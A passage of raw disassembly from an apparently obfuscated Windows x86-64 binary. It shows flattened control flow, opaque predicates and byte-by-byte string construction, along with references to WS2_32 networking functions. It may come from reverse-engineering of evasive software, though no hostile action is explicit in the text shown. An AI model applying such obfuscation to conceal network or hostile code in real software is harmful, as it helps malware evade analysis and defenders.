add ecx, dword [rbp + 0xf8]
mov byte [rax + 2], cl
mov dword [rbp + 0xe8], 0x4f
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x18003484d
cmp edx, 0x27f98b50
jne 0x1800347e0
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x180034812
cmp ecx, 0xea6b28af
jne 0x180034800
jmp 0x180034819
mov ecx, 0xea6b28af
jmp 0x180034800
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x1800347e0
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 3], cl
mov dword [rbp + 0xe8], WSAStartup
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x1800348ed
cmp edx, 0x27f98b50
jne 0x180034880
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x1800348b2
cmp ecx, 0xea6b28af
jne 0x1800348a0
jmp 0x1800348b9
mov ecx, 0xea6b28af
jmp 0x1800348a0
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180034880
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 4], cl
mov dword [rbp + 0xe8], 0x65
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x18003498d
cmp edx, 0x27f98b50
jne 0x180034920
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x180034952
cmp ecx, 0xea6b28af
jne 0x180034940
jmp 0x180034959
mov ecx, 0xea6b28af
jmp 0x180034940
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180034920
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 5], cl
mov dword [rbp + 0xe8], WSAStartup
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x180034a2d
cmp edx, 0x27f98b50
jne 0x1800349c0
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x1800349f2
cmp ecx, 0xea6b28af
jne 0x1800349e0
jmp 0x1800349f9
mov ecx, 0xea6b28af
jmp 0x1800349e0
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x1800349c0
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 6], cl
mov dword [rbp + 0xe8], 0x4b
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x180034acd
cmp edx, 0x27f98b50
jne 0x180034a60
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x180034a92
cmp ecx, 0xea6b28af
jne 0x180034a80
jmp 0x180034a99
mov ecx, 0xea6b28af
jmp 0x180034a80
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180034a60
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 7], cl
mov dword [rbp + 0xe8], 0x65
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x180034b6d
cmp edx, 0x27f98b50
jne 0x180034b00
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x180034b32
cmp ecx, 0xea6b28af
jne 0x180034b20
jmp 0x180034b39
mov ecx, 0xea6b28af
jmp 0x180034b20
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180034b00
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 8], cl
mov dword [rbp + 0xe8], 0x79
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x180034c0d
cmp edx, 0x27f98b50
jne 0x180034ba0
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x180034bd2
cmp ecx, 0xea6b28af
jne 0x180034bc0
jmp 0x180034bd9
mov ecx, 0xea6b28af
jmp 0x180034bc0
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180034ba0
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 9], cl
mov dword [rbp + 0xe8], 0x45
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x180034cad
cmp edx, 0x27f98b50
jne 0x180034c40
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x180034c72
cmp ecx, 0xea6b28af
jne 0x180034c60
jmp 0x180034c79
mov ecx, 0xea6b28af
jmp 0x180034c60
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180034c40
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 0xa], cl
add rax, 0xb
mov qword [rbp + 0x110], rax
mov dword [rbp + 0xe8], pe_nt_image_headers64
mov ecx, 0x27f98b50
nop dword [rax]
cmp ecx, 0xd32bdbb5
je 0x180034d4b
cmp ecx, 0x27f98b50
jne 0x180034ce0
mov eax, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp eax, 0x1e39649a
je 0x180034d10
cmp eax, 0xea6b28af
jne 0x180034d00
jmp 0x180034d17
mov eax, 0xea6b28af
jmp 0x180034d00
mov dword [rbp + 0xf8], 0xc
movsxd rax, dword [rbp + 0xf8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0xd32bdbb5
jmp 0x180034ce0
mov dword [rbp + 0xf8], eax
mov eax, dword [rbp + 0xe8]
add eax, dword [rbp + 0xf8]
mov ecx, 0xd627468
jmp 0x180034670
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 2], ax
mov eax, dword [0x180129a40]
mov ecx, dword [0x180129a44]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp ecx, 0xa
mov r11d, 0x51578b1e
mov edi, 0x35970d82
cmovl r11d, edi
test esi, esi
mov eax, 0x51578b1e
cmovne r11d, eax
mov r10d, 0x51578b1e
mov edx, 0x801a95b8
cmove r10d, edx
cmp ecx, 0xa
movzx ebx, word [r9]
setl al
cmovl r10d, edx
xor al, sil
cmove r11d, edi
mov eax, 0x5c7aabd7
nop word cs:[rax + rax]
nop
cmp eax, 0x35970d81
jle 0x180034e10
cmp eax, 0x35970d82
je 0x180035dfd
cmp eax, 0x51578b1e
je 0x180034e23
cmp eax, 0x5c7aabd7
jne 0x180034de0
mov eax, 0x2963d5c2
jmp 0x180034de0
cmp eax, 0x801a95b8
je 0x180034e47
cmp eax, 0x2963d5c2
jne 0x180034de0
mov eax, r10d
jmp 0x180034de0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180034e40
cmp eax, 0x8cebb28b
jne 0x180034e30
jmp 0x180034e67
mov eax, 0x8cebb28b
jmp 0x180034e30
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180034e60
cmp eax, 0x8cebb28b
jne 0x180034e50
jmp 0x180034e7f
mov eax, 0x8cebb28b
jmp 0x180034e50
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180034de0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 1
xor esi, 0x63
mov eax, r11d
jmp 0x180034de0
mov word [rbp + 0x110], ax
movzx eax, word [rbp + 0x110]
mov ecx, dword [rbp + 0xf8]
add cx, ax
mov word [rbp + 0xf0], cx
mov eax, 0x69c68181
nop
cmp eax, 0x71ccfe0e
je 0x180035edb
cmp eax, 0x69c68181
jne 0x180034ec0
mov rax, qword [rbp + 0x100]
movzx ecx, word [rbp + 0xf0]
mov word [rax], cx
mov r10, qword [rbp + 0x100]
mov dword [rbp + 0xe8], 0x61
mov eax, dword [0x180129a48]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete bl
cmp dword [0x180129a4c], 0xa
setge dl
setl r8b
xor bl, dl
mov eax, ebx
xor al, 1
and dl, cl
or al, dl
xor al, bl
mov esi, 0xc3afc9d1
mov eax, 0xf497d488
cmovne esi, eax
xor r8b, cl
mov eax, r8d
xor al, 1
or al, dl
xor al, r8b
mov ecx, 0xc3afc9d1
cmovne ecx, r11d
mov edi, 0xf595137a
nop dword [rax + rax]
cmp edi, 0xdd3f276d
je 0x180034fc7
cmp edi, 0xf595137a
jne 0x180034f50
mov eax, 0xed76b2ab
nop word cs:[rax + rax]
nop
cmp eax, 0xed76b2aa
jle 0x180034f90
cmp eax, 0xed76b2ab
je 0x180034fa5
cmp eax, 0xf497d488
je 0x180034fa9
cmp eax, 0x11b423ee
jne 0x180034f70
mov eax, esi
jmp 0x180034f70
cmp eax, 0xa3913908
je 0x180034fb0
cmp eax, 0xc3afc9d1
jne 0x180034f70
mov eax, 0x11b423ee
jmp 0x180034f70
mov eax, ecx
jmp 0x180034f70
mov eax, 0xa3913908
jmp 0x180034f70
mov dword [rbp + 0xf8], reloc.WS2_32.dll_inet_addr
mov eax, dword [rbp + 0xf8]
mov edi, 0xdd3f276d
jmp 0x180034f50
mov word [rbp + 0xf8], ax
movzx eax, word [rbp + 0xf8]
mov ecx, dword [rbp + 0xe8]
add cx, ax
mov word [r10 + 2], cx
mov dword [rbp + 0xe8], 0x63
mov r9d, dword [0x180129a48]
mov r8d, dword [0x180129a4c]
lea eax, [r9 - 1]
imul eax, r9d
and eax, 1
sete bl
cmp r8d, 0xa
setge dl
setl r11b
xor bl, dl
mov ecx, ebx
xor cl, 1
and dl, al
or cl, dl
xor cl, bl
mov ecx, 0xc3afc9d1
mov esi, 0xf497d488
cmovne ecx, esi
xor r11b, al
mov eax, r11d
xor al, 1
or al, dl
xor al, r11b
mov r11d, 0x11b423ee
mov esi, 0xc3afc9d1
cmovne esi, r11d
mov ebx, 0xf595137a
nop
cmp ebx, 0xdd3f276d
je 0x1800350dc
cmp ebx, 0xf595137a
jne 0x180035050
mov ebx, 0xed76b2ab
nop dword [rax]
cmp ebx, 0xed76b2aa
jle 0x1800350a0
cmp ebx, 0xed76b2ab
je 0x1800350b7
cmp ebx, 0xf497d488
je 0x1800350bb
cmp ebx, 0x11b423ee
jne 0x180035070
mov ebx, ecx
jmp 0x180035070
cmp ebx, 0xa3913908
je 0x1800350c2
cmp ebx, 0xc3afc9d1
jne 0x180035070
mov ebx, 0x11b423ee
jmp 0x180035070
mov ebx, esi
jmp 0x180035070
mov ebx, 0xa3913908
jmp 0x180035070
mov dword [rbp + 0xf8], reloc.WS2_32.dll_inet_addr
mov eax, dword [rbp + 0xf8]
mov ebx, 0xdd3f276d
jmp 0x180035050
mov word [rbp + 0xf8], ax
movzx eax, word [rbp + 0xf8]
mov edx, dword [rbp + 0xe8]
add dx, ax
mov word [r10 + 4], dx
mov dword [rbp + 0xe8], 0x68
mov ebx, 0xf595137a
nop word [rax + rax]
cmp ebx, 0xdd3f276d
je 0x18003519c
cmp ebx, 0xf595137a
jne 0x180035110
mov edi, 0xed76b2ab
nop dword [rax]
cmp edi, 0xed76b2aa
jle 0x180035160
cmp edi, 0xed76b2ab
je 0x180035177
cmp edi, 0xf497d488
je 0x18003517b
cmp edi, 0x11b423ee
jne 0x180035130
mov edi, ecx
jmp 0x180035130
cmp edi, 0xa3913908
je 0x180035182
cmp edi, 0xc3afc9d1
jne 0x180035130
mov edi, 0x11b423ee
jmp 0x180035130
mov edi, esi
jmp 0x180035130
mov edi, 0xa3913908
jmp 0x180035130
mov dword [rbp + 0xf8], reloc.WS2_32.dll_inet_addr
mov eax, dword [rbp + 0xf8]
mov ebx, 0xdd3f276d
jmp 0x180035110
mov word [rbp + 0xf8], ax
movzx eax, word [rbp + 0xf8]
mov edx, dword [rbp + 0xe8]
add dx, ax
mov word [r10 + 6], dx
mov dword [rbp + 0xe8], 0x65
mov ebx, 0xf595137a
nop word [rax + rax]
cmp ebx, 0xdd3f276d
je 0x180035247
cmp ebx, 0xf595137a
jne 0x1800351d0
mov eax, 0xed76b2ab
nop word cs:[rax + rax]
nop
cmp eax, 0xed76b2aa
jle 0x180035210
cmp eax, 0xed76b2ab
je 0x180035225
cmp eax, 0xf497d488
je 0x180035229
cmp eax, 0x11b423ee
jne 0x1800351f0
mov eax, ecx
jmp 0x1800351f0
cmp eax, 0xa3913908
je 0x180035230
cmp eax, 0xc3afc9d1
jne 0x1800351f0
mov eax, 0x11b423ee
jmp 0x1800351f0
mov eax, esi
jmp 0x1800351f0
mov eax, 0xa3913908
jmp 0x1800351f0
mov dword [rbp + 0xf8], reloc.WS2_32.dll_inet_addr
mov eax, dword [rbp + 0xf8]
mov ebx, 0xdd3f276d
jmp 0x1800351d0
mov word [rbp + 0xf8], ax
movzx eax, word [rbp + 0xf8]
mov ecx, dword [rbp + 0xe8]
add cx, ax
mov word [r10 + 8], cx
add r10, 0xa
mov qword [rbp + 0x110], r10
mov eax, 0x71ccfe0e
jmp 0x180034ec0
movsx eax, byte [rbp + 0xf0]
mov ecx, 0x97fb8291
nop word cs:[rax + rax]
nop
cmp ecx, 0x97fb8291
je 0x1800352a5
cmp ecx, 0xdd5a4a6e
jne 0x180035290
jmp 0x180035fcc
mov ecx, 0xdd5a4a6e
jmp 0x180035290
mov dword [rbp + 0x100], 0x52
mov dword [rbp + 0x110], ebx
mov edx, dword [rbp + 0x100]
mov ebx, dword [rbp + 0x110]
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x5100a5e4
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0xee
mov esi, ebx
and esi, 0x8b51a0a
or esi, 0x204a0511
and ebx, 0xf74ae5f5
xor ebx, esi
mov esi, ebx
xor esi, 0x1b
xor edx, 0x11
and edx, esi
xor ebx, 0xe4
and ebx, edi
or ebx, edx
mov byte [rcx + 1], bl
add rcx, 2
mov qword [rbp + 0xd8], rcx
lea rax, [0x18011f8f5]
mov qword [rbp + 0xf0], rax
mov edx, 0x712d494a
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd531e3d7
jle 0x180035370
cmp edx, 0x5efac848
jg 0x1800353b0
cmp edx, 0xd531e3d8
je 0x180035431
cmp edx, 0x2a2ad739
jne 0x180035340
jmp 0x18002d81d
cmp edx, 0xb0b0a422
je 0x180035453
cmp edx, 0xcb5fa243
je 0x1800354b1
cmp edx, 0xd2aed135
jne 0x180035340
cmp byte [rbp + 0xc0], 0
mov edx, 0xcb5fa243
mov eax, 0x2a2ad739
cmovne edx, eax
mov rcx, qword [rbp + 0x100]
jmp 0x180035340
cmp edx, 0x5efac849
je 0x1800354d3
cmp edx, 0x712d494a
jne 0x180035340
mov rdx, qword [rbp + 0xf0]
movsx edx, byte [rdx]
mov bl, byte [r8]
mov esi, 0xfc13965c
nop word [rax + rax]
cmp esi, 0x1f580374
je 0x180035532
cmp esi, 0xfc13965c
jne 0x1800353e0
mov edi, 0xa6a3dcbd
nop dword [rax]
cmp edi, 0xa6a3dcbd
je 0x180035412
cmp edi, 0x2ac933c9
jne 0x180035400
jmp 0x180035419
mov edi, 0x2ac933c9
jmp 0x180035400
mov byte [rbp + 0xc8], bl
mov al, byte [rbp + 0xc8]
add al, 1
movsx edi, al
mov esi, 0x1f580374
jmp 0x1800353e0
mov rax, qword [rbp + 0x110]
mov byte [rax], 0
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0xf8]
mov edx, 0x5efac849
jmp 0x180035340
mov cl, byte [r8]
mov ebx, 0xfc13965c
nop dword [rax + rax]
cmp ebx, 0x1f580374
je 0x180035601
cmp ebx, 0xfc13965c
jne 0x180035460
mov edx, 0xa6a3dcbd
nop dword [rax]
cmp edx, 0xa6a3dcbd
je 0x180035492
cmp edx, 0x2ac933c9
jne 0x180035480
jmp 0x180035499
mov edx, 0x2ac933c9
jmp 0x180035480
mov byte [rbp + 0xc8], cl
mov al, byte [rbp + 0xc8]
add al, 3
movsx edx, al
mov ebx, 0x1f580374
jmp 0x180035460
mov qword [rbp + 0x110], rcx
mov eax, dword [0x180129620]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edx, 0xd531e3d8
mov eax, 0x5efac849
jmp 0x180035520
mov rax, qword [rbp + 0x110]
mov byte [rax], 0
mov rax, qword [rbp + 0x110]
add rax, 1
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0x100]
cmp rdx, rax
sete byte [rbp + 0xc0]
mov eax, dword [0x180129620]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edx, 0xd531e3d8
mov eax, 0xd2aed135
cmove edx, eax
cmp dword [0x180129624], 0xa
cmovl edx, eax
jmp 0x180035340
mov dword [rbp + 0x10c], edx
mov dword [rbp + 0xc8], edi
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov rax, qword [rbp + 0xd8]
mov byte [rax], dl
mov rdx, qword [rbp + 0xd8]
mov bl, byte [r8]
mov esi, 0xfc13965c
nop dword [rax]
cmp esi, 0x1f580374
je 0x1800356d1
cmp esi, 0xfc13965c
jne 0x1800355b0
mov edi, 0xa6a3dcbd
nop dword [rax]
cmp edi, 0xa6a3dcbd
je 0x1800355e2
cmp edi, 0x2ac933c9
jne 0x1800355d0
jmp 0x1800355e9
mov edi, 0x2ac933c9
jmp 0x1800355d0
mov byte [rbp + 0xc8], bl
mov al, byte [rbp + 0xc8]
add al, 2
movsx edi, al
mov esi, 0x1f580374
jmp 0x1800355b0
mov dword [rbp + 0x10c], 0x43
mov dword [rbp + 0xc8], edx
mov eax, dword [rbp + 0x10c]
mov ecx, dword [rbp + 0xc8]
mov edx, eax
and edx, 0x8b51a0a
or edx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, edx
mov edx, eax
xor edx, 0xee
mov ebx, ecx
and ebx, 0x8b51a0a
or ebx, 0x204a0511
and ecx, 0xf74ae5f5
xor ecx, ebx
mov ebx, ecx
xor ebx, 0x1b
xor eax, 0x11
and eax, ebx
xor ecx, 0xe4
and ecx, edx
or ecx, eax
mov rax, qword [rbp + 0xe8]
mov byte [rax], cl
mov rcx, qword [rbp + 0xe8]
mov dl, byte [r8]
mov edi, 0xfc13965c
nop dword [rax]
cmp edi, 0x1f580374
je 0x18003574c
cmp edi, 0xfc13965c
jne 0x180035680
mov ebx, 0xa6a3dcbd
nop dword [rax]
cmp ebx, 0xa6a3dcbd
je 0x1800356b2
cmp ebx, 0x2ac933c9
jne 0x1800356a0
jmp 0x1800356b9
mov ebx, 0x2ac933c9
jmp 0x1800356a0
mov byte [rbp + 0xc8], dl
mov al, byte [rbp + 0xc8]
add al, 4
movsx ebx, al
mov edi, 0x1f580374
jmp 0x180035680
mov dword [rbp + 0x10c], 0x67
mov dword [rbp + 0xc8], edi
mov eax, dword [rbp + 0x10c]
mov ebx, dword [rbp + 0xc8]
mov edi, eax
and edi, 0x8b51a0a
or edi, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, edi
mov edi, eax
xor edi, 0xee
mov esi, ebx
and esi, 0x8b51a0a
or esi, 0x204a0511
and ebx, 0xf74ae5f5
xor ebx, esi
mov esi, ebx
xor esi, 0x1b
xor eax, 0x11
and eax, esi
xor ebx, 0xe4
and ebx, edi
or ebx, eax
mov byte [rdx + 1], bl
add rdx, 2
mov qword [rbp + 0xe8], rdx
mov edx, 0xb0b0a422
jmp 0x180035340
mov dword [rbp + 0x10c], WSAStartup
mov dword [rbp + 0xc8], ebx
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov byte [rcx + 1], dl
mov dl, byte [r8]
mov edi, 0xfc13965c
nop word [rax + rax]
cmp edi, 0x1f580374
je 0x180035811
cmp edi, 0xfc13965c
jne 0x1800357c0
mov ebx, 0xa6a3dcbd
nop word cs:[rax + rax]
nop
cmp ebx, 0xa6a3dcbd
je 0x1800357f2
cmp ebx, 0x2ac933c9
jne 0x1800357e0
jmp 0x1800357f9
mov ebx, 0x2ac933c9
jmp 0x1800357e0
mov byte [rbp + 0xc8], dl
mov al, byte [rbp + 0xc8]
add al, 5
movsx ebx, al
mov edi, 0x1f580374
jmp 0x1800357c0
mov dword [rbp + 0x10c], WSAStartup
mov dword [rbp + 0xc8], ebx
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov byte [rcx + 2], dl
mov dl, byte [r8]
mov edi, 0xfc13965c
nop
cmp edi, 0x1f580374
je 0x1800358d1
cmp edi, 0xfc13965c
jne 0x180035880
mov ebx, 0xa6a3dcbd
nop word cs:[rax + rax]
nop
cmp ebx, 0xa6a3dcbd
je 0x1800358b2
cmp ebx, 0x2ac933c9
jne 0x1800358a0
jmp 0x1800358b9
mov ebx, 0x2ac933c9
jmp 0x1800358a0
mov byte [rbp + 0xc8], dl
mov al, byte [rbp + 0xc8]
add al, 6
movsx ebx, al
mov edi, 0x1f580374
jmp 0x180035880
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov dword [rbp + 0xc8], ebx
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov byte [rcx + 3], dl
mov dl, byte [r8]
mov edi, 0xfc13965c
nop
cmp edi, 0x1f580374
je 0x180035991
cmp edi, 0xfc13965c
jne 0x180035940
mov ebx, 0xa6a3dcbd
nop word cs:[rax + rax]
nop
cmp ebx, 0xa6a3dcbd
je 0x180035972
cmp ebx, 0x2ac933c9
jne 0x180035960
jmp 0x180035979
mov ebx, 0x2ac933c9
jmp 0x180035960
mov byte [rbp + 0xc8], dl
mov al, byte [rbp + 0xc8]
add al, 7
movsx ebx, al
mov edi, 0x1f580374
jmp 0x180035940
mov dword [rbp + 0x10c], 0x65
mov dword [rbp + 0xc8], ebx
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov byte [rcx + 4], dl
mov dl, byte [r8]
mov edi, 0xfc13965c
nop
cmp edi, 0x1f580374
je 0x180035a51
cmp edi, 0xfc13965c
jne 0x180035a00
mov ebx, 0xa6a3dcbd
nop word cs:[rax + rax]
nop
cmp ebx, 0xa6a3dcbd
je 0x180035a32
cmp ebx, 0x2ac933c9
jne 0x180035a20
jmp 0x180035a39
mov ebx, 0x2ac933c9
jmp 0x180035a20
mov byte [rbp + 0xc8], dl
mov al, byte [rbp + 0xc8]
add al, 8
movsx ebx, al
mov edi, 0x1f580374
jmp 0x180035a00
mov dword [rbp + 0x10c], 0x4b
mov dword [rbp + 0xc8], ebx
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov byte [rcx + 5], dl
mov dl, byte [r8]
mov edi, 0xfc13965c
nop
cmp edi, 0x1f580374
je 0x180035b11
cmp edi, 0xfc13965c
jne 0x180035ac0
mov ebx, 0xa6a3dcbd
nop word cs:[rax + rax]
nop
cmp ebx, 0xa6a3dcbd
je 0x180035af2
cmp ebx, 0x2ac933c9
jne 0x180035ae0
jmp 0x180035af9
mov ebx, 0x2ac933c9
jmp 0x180035ae0
mov byte [rbp + 0xc8], dl
mov al, byte [rbp + 0xc8]
add al, 9
movsx ebx, al
mov edi, 0x1f580374
jmp 0x180035ac0
mov dword [rbp + 0x10c], 0x65
mov dword [rbp + 0xc8], ebx
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov byte [rcx + 6], dl
mov dl, byte [r8]
mov edi, 0xfc13965c
nop
cmp edi, 0x1f580374
je 0x180035bd1
cmp edi, 0xfc13965c
jne 0x180035b80
mov ebx, 0xa6a3dcbd
nop word cs:[rax + rax]
nop
cmp ebx, 0xa6a3dcbd
je 0x180035bb2
cmp ebx, 0x2ac933c9
jne 0x180035ba0
jmp 0x180035bb9
mov ebx, 0x2ac933c9
jmp 0x180035ba0
mov byte [rbp + 0xc8], dl
mov al, byte [rbp + 0xc8]
add al, 0xa
movsx ebx, al
mov edi, 0x1f580374
